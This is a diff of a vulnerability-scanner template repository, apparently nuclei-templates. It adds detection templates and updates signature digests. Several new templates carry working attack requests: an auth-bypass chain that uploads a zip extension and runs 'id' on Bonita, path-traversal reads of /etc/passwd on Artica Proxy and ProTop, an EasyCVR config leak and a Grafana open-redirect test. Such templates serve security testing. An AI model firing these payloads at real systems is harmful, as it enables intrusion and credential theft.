 {"ID":"CVE-2025-5961","Info":{"Name":"WordPress WPvivid Backup \u0026 Migration Plugin \u003c= 0.9.116 - Authenticated Arbitrary File Upload","Severity":"high","Description":"The Migration, Backup, Staging – WPvivid Backup \u0026 Migration plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'wpvivid_upload_import_files' function in all versions up to, and including, 0.9.116.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-5961.yaml"}
 {"ID":"CVE-2025-6058","Info":{"Name":"WPBookit \u003c= 1.0.4 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_booking_type' route in all versions up to, and including, 1.0.4.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6058.yaml"}
+{"ID":"CVE-2025-6197","Info":{"Name":"Open Redirect via Organization Switching","Severity":"medium","Description":"An open redirect vulnerability has been identified in Grafana OSS organization switching functionality. Prerequisites for exploitation Multiple organizations must exist in the Grafana instance - Victim must be on a different organization than the one specified in the URL\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6197.yaml"}
 {"ID":"CVE-2025-6851","Info":{"Name":"WordPress Broken Link Notifier \u003c 1.3.1 - Unauthenticated SSRF","Severity":"high","Description":"The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-6851.yaml"}
 {"ID":"CVE-2025-6970","Info":{"Name":"WordPress Events Manager \u003c= 7.0.3 - SQL Injection","Severity":"critical","Description":"The Events Manager - Calendar, Bookings, Tickets, and more! plugin for WordPress is vulnerable to time-based SQL Injection via the 'orderby' parameter in all versions up to, and including, 7.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6970.yaml"}
 {"ID":"CVE-2001-1473","Info":{"Name":"Deprecated SSHv1 Protocol Detection","Severity":"high","Description":"SSHv1 is deprecated and has known cryptographic issues.","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2001/CVE-2001-1473.yaml"}

cves.json-checksum.txt

@@ -1 +1 @@
-36720f4a934a33f8bf9d4674983657df
+a035127e8cdac3981a1525e82b9ac7e9

dns/bimi-detect.yaml

@@ -23,4 +23,4 @@ dns:
       - type: regex
         regex:
           - "v=BIMI1(.+)"
-# digest: 4b0a00483046022100dc35ed500e23f74daf18f8919bdf31b084d4ee2bfa644d70b99075a9ce785f31022100d0d7cbea4c65093f5ac5a868c169ee14126ced4738352dbc4de004bb6ac1fb5f:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220144cb590d9b26dd8e1fd56ad6cb84d67c8063ee83efbe264e281f8ef8db116d702203c7ce396d27898d05a0e631abfddd1844576b7cb31852596b65fa3dbdc4cd218:922c64590222798bb761d5b6d8e72950

dns/fbi-seized-nameserver.yaml

@@ -35,4 +35,4 @@ dns:
         group: 1
         regex:
           - "IN\\tNS\\t(.+)"
-# digest: 4a0a0047304502206071b4c24ecbd7c17ab7d7c4d1eb88cd522ca3029a10a90fb9db3d98f40409fa022100b3ded44bb800fbf3761fc12d4e59bcb4099b25c5e4665634d97e7da70f0bab64:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d88188a9858184586962e3325bd1d333cc75ad21b6b3ebd1dbb5357988831449022100aac32d5a2d093046b11204b01d2261bd0b01e1d2378845c3d4cf1597d332c362:922c64590222798bb761d5b6d8e72950

dns/soa-detect.yaml

@@ -81,4 +81,4 @@ dns:
         name: "edge-cast"
         words:
           - "edgecastdns.net"
-# digest: 490a0046304402204a5c9d5de65cd9cbfb0c20eb0bd294214f519370eaedc7a0b4111889d0b96ba0022005242389d6b616acaf7531ee02c6edae5b513bca03268a63f84e46baf5294341:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e7307621d15e187ade8dc349d483a9dfb49053dbbe94baa2b959b356adfccb4502203a116b3087fd12133d6c569edea7e6e941b6d8b8e05d8df098c3830f1cfdd45c:922c64590222798bb761d5b6d8e72950

dns/spf-record-detect.yaml

@@ -23,4 +23,4 @@ dns:
       - type: regex
         regex:
           - "v=spf1(.+)"
-# digest: 4a0a0047304502210098e9bc7b5f5a6efe734c4539d74e4ca13946e10dee4e7311a5a6bd8861d3dd5a0220688fc5590b366da492b021acd146b34b267e318066337d6d105d2bfa721419f2:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022051bcadfd59f2bd2150858b5121cf7ff00120dc273ab8bdd3671cb4787e5093c90221009f67c2189406c7123516ef8b05869609d400adaaf86358f3875d1e1ec61d4e61:922c64590222798bb761d5b6d8e72950

dns/txt-service-detect.yaml

@@ -218,4 +218,4 @@ dns:
         name: "whimsical"
         words:
           - "whimsical"
-# digest: 4b0a00483046022100af19696fbbb87b2705719b9d39f5e75a9cea3c6313a87de9159b1ed60a6976eb022100afa92875dce6073888b98989b99599246c294970228d3700b8d821fd36392ed1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f4522b37e6c10f63832c428973771b8a8f404977887c00c4e50c7230b1d7dfd5022100d8900238cc8b036564f29b1934ad9c331f0fcb0a73d1247f3df22a60c8801384:922c64590222798bb761d5b6d8e72950

file/logs/aspnet-framework-exceptions.yaml

@@ -22,4 +22,4 @@ file:
           - 'InvalidOperationException'
           - 'UnauthorizedAccessException'
           - 'NotFound'
-# digest: 4a0a0047304502207d10d43f676ac03f90d5de0a4757e757d1a8bc4d7e69bb99e446f101d15b18d8022100aa8765f47cd5205b9af5c78bbbd350763c285b93f5d9b4f87ce99fc960c0465c:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402205d4b2d68068a3e1d23d46444224697aded58abcfefaeff9fd6eff1fde56d3a46022048d66a449fa58ad871365451924088f816ef3b1ca9aee5af56cf8e5960b10542:922c64590222798bb761d5b6d8e72950

file/logs/nodejs-framework-exceptions.yaml

@@ -30,4 +30,4 @@ file:
           - 'BadRequestError'
           - 'MongoError'
           - 'SequelizeDatabaseError'
-# digest: 4a0a00473045022100956e2d2e6072cf0341a6eb76f0f173767cc32eb30c76c6270eec10ae9036045b0220503923f94dda6d097d173c8f84722fb129f78862b3a9bdc70f3ec27a5bfdd479:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b9b483db74c03f17203be8295c244d8fb34b107654751c6d3208003551a0fa7c022100be8b6786d5cba42d0e12278f2296145e49d920d82c37e1a4f5e203cdab7b859a:922c64590222798bb761d5b6d8e72950

headless/cookie-consent-detection.yaml

@@ -31,4 +31,4 @@ headless:
       - type: status
         status:
           - 200
-# digest: 4a0a0047304502202def9f0939b9c009495d59fcc45a4e53f5c21c4e43cbe35509913d90262cc094022100cdab9799b8d56937fda56365dd32240bc9f97e901a4b59e00bbfd70a86b0da30:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202b10604a50f335a616cdc064c4e0c579f4a8bd6a80fbce3e9e1a29ab8d8c549b022100f1dcd720629b0cd7faa91c097bd5e6f3390a35cc98849db28713301850c0c9b4:922c64590222798bb761d5b6d8e72950

http/cves/2022/CVE-2022-25237.yaml

@@ -0,0 +1,111 @@
+id: CVE-2022-25237
+
+info:
+  name: Bonita Web 2021.2 - Authentication/Authorization Bypass
+  author: Sourabh-Sahu
+  severity: critical
+  description: |
+    Bonita Web 2021.2 contains an authentication/authorization bypass vulnerability caused by an overly broad exclude pattern in RestAPIAuthorizationFilter, allowing unauthenticated users to access privileged API endpoints by appending ;i18ntranslation or /../i18ntranslation/ to the URL.
+  impact: |
+    Successful exploitation allows unauthenticated attackers to access privileged API endpoints and potentially upload files to the server.
+  remediation: |
+    Update Bonita Web to the latest version that addresses this vulnerability or implement proper access controls to restrict unauthorized API access.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2022-25237
+    - https://rhinosecuritylabs.com/application-security/cve-2022-25237-bonitasoft-authorization-bypass/
+    - https://bonitasoft.com/
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2022-25237
+    cwe-id: CWE-285
+    cpe: cpe:2.3:a:bonitasoft:bonita:2021.2:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 4
+    vendor: bonitasoft
+    product: bonita
+    shodan-query: 'http.title:"Bonita" || "Server: Bonita"'
+    fofa-query: 'title="Bonita" || header="Server: Bonita"'
+  tags: cve,cve2022,bonita,auth-bypass,intrusive,file-upload,rce
+
+variables:
+  zipdata: "{{base64_decode('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 truncated
+  username: install
+  password: install
+
+http:
+  - raw:
+      - |
+        POST /bonita/loginservice HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        Connection: close
+        Content-Length: 39
+
+        username={{username}}&password={{password}}&_l=en
+
+    extractors:
+      - type: regex
+        name: jsession
+        internal: true
+        part: header
+        regex:
+          - 'JSESSIONID=([A-Z0-9]+)'
+
+      - type: regex
+        name: api_token
+        internal: true
+        part: header
+        regex:
+          - 'X-Bonita-API-Token=([0-9a-f\-]+)'
+
+  - raw:
+      - |
+        POST /bonita/API/pageUpload;i18ntranslation?action=add HTTP/1.1
+        Host: {{Hostname}}
+        Cookie: JSESSIONID={{jsession}}; X-Bonita-API-Token={{api_token}}
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
+        Connection: close
+
+        ------WebKitFormBoundary
+        Content-Disposition: form-data; name="file"; filename="api_extension.zip"
+        Content-Type: application/octet-stream
+
+        {{zipdata}}
+        ------WebKitFormBoundary--
+
+    extractors:
+      - type: json
+        name: tempPath
+        json:
+          - ".tempPath"
+        internal: true
+
+  - raw:
+      - |
+        POST /bonita/API/portal/page/;i18ntranslation HTTP/1.1
+        Host: {{Hostname}}
+        Cookie: JSESSIONID={{jsession}}; X-Bonita-API-Token={{api_token}}
+        Content-Type: application/json;charset=UTF-8
+
+        {
+        "contentName": "api_extension.zip",
+        "pageZip": "{{tempPath}}"
+        }
+
+  - raw:
+      - |
+        GET /bonita/API/extension/rce?p=0&c=1&cmd=id HTTP/1.1
+        Host: {{Hostname}}
+        Cookie: JSESSIONID={{jsession}}; X-Bonita-API-Token={{api_token}}
+        Accept: application/json
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(content_type, "application/json")'
+          - 'regex("uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)", body)'
+        condition: and
+# digest: 4a0a00473045022100a4341260c6c1fa08f905742e1357b4cdb38206fc93b48e53bba788e2f6e9a9a4022025b3bbb24d3bebadf5a561d22e79ea35eeb0aa7bfe73a44423cbff95339f42f6:922c64590222798bb761d5b6d8e72950

http/cves/2024/CVE-2024-2053.yaml

@@ -0,0 +1,51 @@
+id: CVE-2024-2053
+
+info:
+  name: Artica Proxy  - Unauthenticated LFI
+  author: pussycat0x
+  severity: high
+  description: |
+    The Artica Proxy administrative web application will deserialize arbitrary PHP objects supplied by unauthenticated users and subsequently enable code execution as the "www-data" user. This issue was demonstrated on version 4.50 of the The Artica-Proxy administrative web application attempts to prevent local file inclusion. These protections can be bypassed and arbitrary file requests supplied by unauthenticated users will be returned according to the privileges of the "www-data" user.
+  reference:
+    - https://github.com/0xMarcio/cve/blob/main/2024/CVE-2024-2053.md#cve-2024-2053
+    - https://seclists.org/fulldisclosure/2024/Mar/11
+    - https://korelogic.com/Resources/Advisories/KL-001-2024-001.txt
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2024-2053
+    cwe-id: CWE-23
+    epss-score: 0.00434
+    epss-percentile: 0.61897
+    cpe: cpe:2.3:a:articatech:artica_proxy:4.40:*:*:*:*:*:*:*
+  metadata:
+    vendor: articatech
+    product: artica_proxy
+    shodan-query: http.html:"artica"
+    fofa-query: body="artica"
+    verified: true
+    max-request: 1
+  tags: cve,cve2024,lfi,artica-proxy,articatech
+
+http:
+  - raw:
+      - |
+        GET /images.listener.php?uri=1&mailattach=..././..././..././..././..././epasswdtc/ppasswdasswd HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "root:.*:0:0:"
+
+      - type: word
+        part: body
+        words:
+          - "application/force-download"
+
+      - type: status
+        status:
+          - 200
+# digest: 4b0a00483046022100d351bbabac086f868fb741bdc9c3af89b207275d3da6890f6c50ee1d9ee9f558022100ec130a0bb408129f780dcb68178a50c96512e734b619903c5bfb819a26e8a5f8:922c64590222798bb761d5b6d8e72950

http/cves/2024/CVE-2024-36527.yaml

@@ -33,4 +33,4 @@ http:
       - type: status
         status:
           - 200
-# digest: 4a0a00473045022043d02b3c3ff1180d74245ac6e357726b576ca39be62e42a3e019be083a468cb6022100a8ff3c392f9ae51b5510d9ddb1e0514a279c1b5b37f59b8b24fdb0441a46beac:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402203ee8036b8bde7afce4f3562abf145e9ac84a7da7ebbf15315a4ddba67e80f94e02200a0490e37232f1c5c0197a360b19cb7f7f1716c9c23cf0d89abf7e80774a5629:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-1595.yaml

@@ -0,0 +1,46 @@
+id: CVE-2025-1595
+
+info:
+  name: EasyCVR <=2.1.2 - Information Disclosure
+  author: ritikchaddha
+  severity: medium
+  description: |
+    A vulnerability has been found in Anhui Xufan Information Technology EasyCVR up to 2.7.0 and classified as problematic. This vulnerability affects unknown code of the file /api/v1/getbaseconfig. The manipulation leads to information disclosure. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-1595
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
+    cvss-score: 5.3
+    cve-id: CVE-2025-1595
+    cwe-id: CWE-200
+  metadata:
+    verified: true
+    max-request: 1
+    fofa-query: title="EasyCVR"
+    shodan-query: http.title:"EasyCVR"
+    product: easycvr
+  tags: cve,cve2025,exposure,easycvr
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/api/v1/getbaseconfig"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'DevicePassword":'
+          - 'APIAuth":'
+        condition: and
+
+      - type: word
+        part: content_type
+        words:
+          - application/json
+
+      - type: status
+        status:
+          - 200
+# digest: 4b0a00483046022100a09a1d9eda4ffc614c0a9c98a4830460d09eb40559da1246c146d6ffe4d0b06b022100a3b7aefd2e1b4d7e0dc97b230fb2f0320a9131e650e49a6b6a5b5a9e022fd9e2:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-31125.yaml

@@ -59,4 +59,4 @@ http:
         part: header
         words:
           - "text/javascript"
-# digest: 490a00463044022020c5b44d21042d77478a56bd5a90706f619c31cc44a46ba10a3801704c340e3d022036e3eae7ee1590593eefe7fa269a74055879076983ca8aafda674ca01de17962:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ee8f9df882635955e814b700e12306455cf67732fe74a023c062b15ff9e44ca70221008b2f7cdc6239fc59f5e43425baf72306e5de9764ec97419185ad1ac23f9a68f9:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-44177.yaml

@@ -0,0 +1,53 @@
+id: CVE-2025-44177
+
+info:
+  name: White Star Software ProTop - Directory Traversal
+  author: s-cu-bot
+  severity: high
+  description: |
+    A directory traversal vulnerability was discovered in White Star Software Protop version 4.4.2-2024-11-27, specifically in the /pt3upd/ endpoint. An unauthenticated attacker can remotely read arbitrary files on the underlying OS using encoded traversal sequences.
+  remediation: |
+    Upgrade White Star Software ProTop to a version after v4.4.2-2024-11-27.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-44177
+    - https://client.protop.co.za/
+    - https://wss.com/
+    - https://gist.github.com/stSLAYER/4a2ecfbab1215a0be0dde59c4ac0122d
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
+    cvss-score: 8.2
+    cve-id: CVE-2025-44177
+    cwe-id: CWE-22
+    cpe: cpe:2.3:a:wss:protop:4.4.2-2024-11-27:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: white-star-software
+    product: protop
+    shodan-query: html:"<title>ProTop"
+  tags: cve,cve2025,lfi,traversal,protop,whitestar
+
+http:
+  - raw:
+      - |
+        GET /pt3upd/..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - 'root:.*:0:0:'
+
+      - type: word
+        part: header
+        words:
+          - 'application/octet-stream'
+          - 'filename="passwd"'
+        condition: and
+
+      - type: status
+        status:
+          - 200
+# digest: 4b0a00483046022100891757873c747ca4d979063fba70bcc83f96cd5db7380e8ad70558b62fe07cc60221008ef6a64cc26d05c02e3951da2a3b02f01a630f4361dcfdc3ddfb24b324dbeb99:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-53770.yaml

@@ -133,4 +133,4 @@ http:
           - 'contains(x_nuclei,"CVE-2025-53770")'
           - 'contains(body, "MSOTlPn_DWP")'
         condition: and
-# digest: 4a0a00473045022100dde18996683da8c243a4a65887245ca40ae5d208fc32941438e3436b8b017fa602203113c0ec9ef73c17faaeae76d313f1a266d9f30d4fecf7e7ecc73ec1f0d9baf4:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e49668cd4d959747d85e9df1503f84f74e4c97ccd050fc618de6e47c805675d302207a5ce742753a29fc20f98b21c8cee1355b6f29fa4714bf7a3598ff12e0eb379e:922c64590222798bb761d5b6d8e72950

http/cves/2025/CVE-2025-6197.yaml

@@ -0,0 +1,76 @@
+id: CVE-2025-6197
+
+info:
+  name: Open Redirect via Organization Switching
+  author: iamnoooob,pdresearch
+  severity: medium
+  description: |
+    An open redirect vulnerability has been identified in Grafana OSS organization switching functionality. Prerequisites for exploitation Multiple organizations must exist in the Grafana instance - Victim must be on a different organization than the one specified in the URL
+  reference:
+    - https://grafana.com/blog/2025/07/17/grafana-security-release-medium-and-high-severity-fixes-for-cve-2025-6197-and-cve-2025-6023/
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-6197
+  metadata:
+    verified: true
+    max-request: 2
+    shodan-query: html:"grafana"
+  tags: cve,cve2025,redirect,grafana,open-redirect
+
+variables:
+  username: "{{username}}"
+  password: "{{password}}"
+  orgid: "{{orgid}}"
+
+flow: http(1) && http(2)
+
+http:
+
+  - raw:
+      - |
+        POST /login HTTP/1.1
+        Host: {{Hostname}}
+        accept: application/json, text/plain, */*
+        DNT: 1
+        content-type: application/json
+        Origin: {{RootURL}}
+        Referer: {{RootURL}}/login
+        Cookie: redirect_to=%2F
+
+        {"user":"{{username}}","password":"{{password}}"}
+
+    extractors:
+      - type: dsl
+        dsl:
+          - username
+          - password
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - 'Logged in'
+
+      - type: word
+        part: header
+        words:
+          - 'grafana_session'
+
+      - type: status
+        status:
+          - 200
+
+  - raw:
+      - |
+        GET /%2f%5coast.pro?orgId={{orgid}} HTTP/1.1
+        Host: {{Hostname}}
+
+    redirects: true
+
+    matchers:
+      - type: dsl
+        name: open-redirect
+        dsl:
+          - status_code == 302
+          - contains(location, '//\oast.pro?')
+        condition: and
+# digest: 4b0a00483046022100a04708d9dd226ea2b600996ea25617aa4820c81f53f16c9ca5699d9cf7382bbf022100988d23f896135b5222e8a28b11a0bb66e551c283ab44d36e6d3a7734071c8e30:922c64590222798bb761d5b6d8e72950

http/default-logins/apache/apache-inlong-default-login.yaml

